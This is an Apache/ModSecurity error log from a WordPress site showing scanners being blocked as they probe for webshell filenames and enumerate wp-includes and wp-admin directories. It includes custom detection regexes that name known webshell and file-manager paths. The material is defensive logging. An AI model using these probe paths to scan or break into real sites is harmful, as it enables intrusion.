[Mon Jan 05 18:51:34.921727 2026] [:error] [pid 6680:tid 6697] [client 4.197.220.165:10935] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVuXtqE58uNoazzTmx3ZhgAAAQ8"]
[Mon Jan 05 18:51:35.106848 2026] [:error] [pid 5534:tid 5559] [client 4.197.220.165:10943] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVuXt5Ns9XmbR6unB0ymNgAAABA"]
[Mon Jan 05 18:51:35.176596 2026] [:error] [pid 5535:tid 5587] [client 4.197.220.165:10933] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVuXt2nkedMjhVX0PTVdlwAAAFE"]
[Mon Jan 05 18:51:35.314810 2026] [:error] [pid 5534:tid 5550] [client 4.197.220.165:10839] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVuXt5Ns9XmbR6unB0ymNwAAAAc"]
[Mon Jan 05 18:51:35.547481 2026] [:error] [pid 5535:tid 5585] [client 4.197.220.165:10752] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVuXt2nkedMjhVX0PTVdmAAAAE8"]
[Mon Jan 05 18:51:35.623169 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:10866] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVuXt5Ns9XmbR6unB0ymOAAAABE"]
[Mon Jan 05 18:51:35.744826 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10986] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVuXt5Ns9XmbR6unB0ymOQAAABY"]
[Mon Jan 05 18:51:35.886045 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:10981] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVuXt5Ns9XmbR6unB0ymOgAAABM"]
[Mon Jan 05 18:51:36.098895 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:10857] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVuXuKE58uNoazzTmx3ZiQAAAQA"]
[Mon Jan 05 18:51:36.290192 2026] [:error] [pid 5535:tid 5572] [client 4.197.220.165:10785] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVuXuGnkedMjhVX0PTVdmwAAAEI"]
[Mon Jan 05 18:51:36.400989 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:10927] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVuXuJNs9XmbR6unB0ymPAAAAAk"]
[Mon Jan 05 18:51:36.512960 2026] [:error] [pid 5632:tid 5664] [client 4.197.220.165:10778] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVuXuIN3ZWvlOh-nbt-xMgAAANQ"]
[Mon Jan 05 18:51:36.624522 2026] [:error] [pid 5534:tid 5553] [client 4.197.220.165:10791] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVuXuJNs9XmbR6unB0ymPQAAAAo"]
[Mon Jan 05 18:51:36.796427 2026] [:error] [pid 5535:tid 5580] [client 4.197.220.165:10895] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVuXuGnkedMjhVX0PTVdnAAAAEo"]
[Mon Jan 05 18:51:36.962917 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:10848] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVuXuJNs9XmbR6unB0ymPgAAAAg"]
[Mon Jan 05 18:51:37.072150 2026] [:error] [pid 5534:tid 5561] [client 4.197.220.165:10765] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVuXuZNs9XmbR6unB0ymQAAAABI"]
[Mon Jan 05 18:51:37.138232 2026] [:error] [pid 5534:tid 5557] [client 4.197.220.165:10884] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVuXuZNs9XmbR6unB0ymQgAAAA4"]
[Mon Jan 05 18:51:37.210256 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:10855] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVuXuZNs9XmbR6unB0ymQwAAAAM"]
[Mon Jan 05 18:51:37.321872 2026] [:error] [pid 5535:tid 5571] [client 4.197.220.165:10769] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVuXuWnkedMjhVX0PTVdnQAAAEE"]
[Mon Jan 05 18:51:37.363664 2026] [:error] [pid 5534:tid 5564] [client 4.197.220.165:10770] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVuXuZNs9XmbR6unB0ymRAAAABU"]
[Mon Jan 05 18:51:37.494360 2026] [:error] [pid 5535:tid 5582] [client 4.197.220.165:10918] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVuXuWnkedMjhVX0PTVdngAAAEw"]
[Mon Jan 05 18:51:37.613793 2026] [:error] [pid 5535:tid 5590] [client 4.197.220.165:10854] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVuXuWnkedMjhVX0PTVdoAAAAFQ"]
[Mon Jan 05 18:51:37.713682 2026] [:error] [pid 5534:tid 5556] [client 4.197.220.165:10790] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVuXuZNs9XmbR6unB0ymRQAAAA0"]
[Mon Jan 05 18:51:37.821289 2026] [:error] [pid 5535:tid 5577] [client 4.197.220.165:15594] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVuXuWnkedMjhVX0PTVdoQAAAEc"]
[Mon Jan 05 18:51:38.128219 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10768] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVuXupNs9XmbR6unB0ymSAAAABY"]
[Mon Jan 05 18:51:38.259691 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:10793] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVuXupNs9XmbR6unB0ymSQAAAAU"]
[Mon Jan 05 18:51:38.290628 2026] [:error] [pid 5535:tid 5589] [client 4.197.220.165:10899] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVuXumnkedMjhVX0PTVdogAAAFM"]
[Mon Jan 05 18:51:38.403633 2026] [:error] [pid 5535:tid 5593] [client 4.197.220.165:11000] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVuXumnkedMjhVX0PTVdowAAAFc"]
[Mon Jan 05 18:51:38.503258 2026] [:error] [pid 5632:tid 5652] [client 4.197.220.165:10836] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVuXuoN3ZWvlOh-nbt-xNAAAAMg"]
[Mon Jan 05 20:22:28.792412 2026] [:error] [pid 6680:tid 6702] [client 45.67.97.40:52817] [client 45.67.97.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVutBKE58uNoazzTmx3zVQAAARQ"]
[Mon Jan 05 20:22:33.841462 2026] [:error] [pid 5632:tid 5648] [client 45.67.97.39:64175] [client 45.67.97.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVutCYN3ZWvlOh-nbt_G3AAAAMQ"]
[Mon Jan 05 20:22:41.630393 2026] [:error] [pid 28407:tid 28433] [client 45.67.97.41:53749] [client 45.67.97.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aVutEdercd3ptydUzM1HAAAAAZY"]
[Mon Jan 05 20:22:53.231937 2026] [autoindex:error] [pid 6680:tid 6693] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:22:54.158525 2026] [autoindex:error] [pid 6680:tid 6697] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:22:55.625084 2026] [autoindex:error] [pid 6680:tid 6694] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:22:56.815807 2026] [autoindex:error] [pid 6680:tid 6704] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:01.284461 2026] [autoindex:error] [pid 6680:tid 6685] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:03.588835 2026] [autoindex:error] [pid 6680:tid 6682] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:04.534245 2026] [autoindex:error] [pid 6680:tid 6705] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:05.552869 2026] [autoindex:error] [pid 6680:tid 6701] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:06.439383 2026] [autoindex:error] [pid 6680:tid 6691] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:10.231809 2026] [autoindex:error] [pid 6680:tid 6692] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:13.915503 2026] [autoindex:error] [pid 6680:tid 6685] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:20.626634 2026] [autoindex:error] [pid 6680:tid 6694] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:23.159265 2026] [autoindex:error] [pid 6680:tid 6687] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:23.975043 2026] [autoindex:error] [pid 6680:tid 6699] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:29.240507 2026] [autoindex:error] [pid 6680:tid 6682] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:31.970019 2026] [autoindex:error] [pid 6680:tid 6694] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:36.612975 2026] [autoindex:error] [pid 6680:tid 6692] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:37.299849 2026] [autoindex:error] [pid 6680:tid 6690] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:37.944596 2026] [autoindex:error] [pid 6680:tid 6705] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:53.320485 2026] [autoindex:error] [pid 6680:tid 6694] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:56.774219 2026] [autoindex:error] [pid 6680:tid 6700] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:57.676202 2026] [autoindex:error] [pid 6680:tid 6703] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:23:59.873615 2026] [autoindex:error] [pid 6680:tid 6688] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:24:00.693973 2026] [autoindex:error] [pid 6680:tid 6693] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
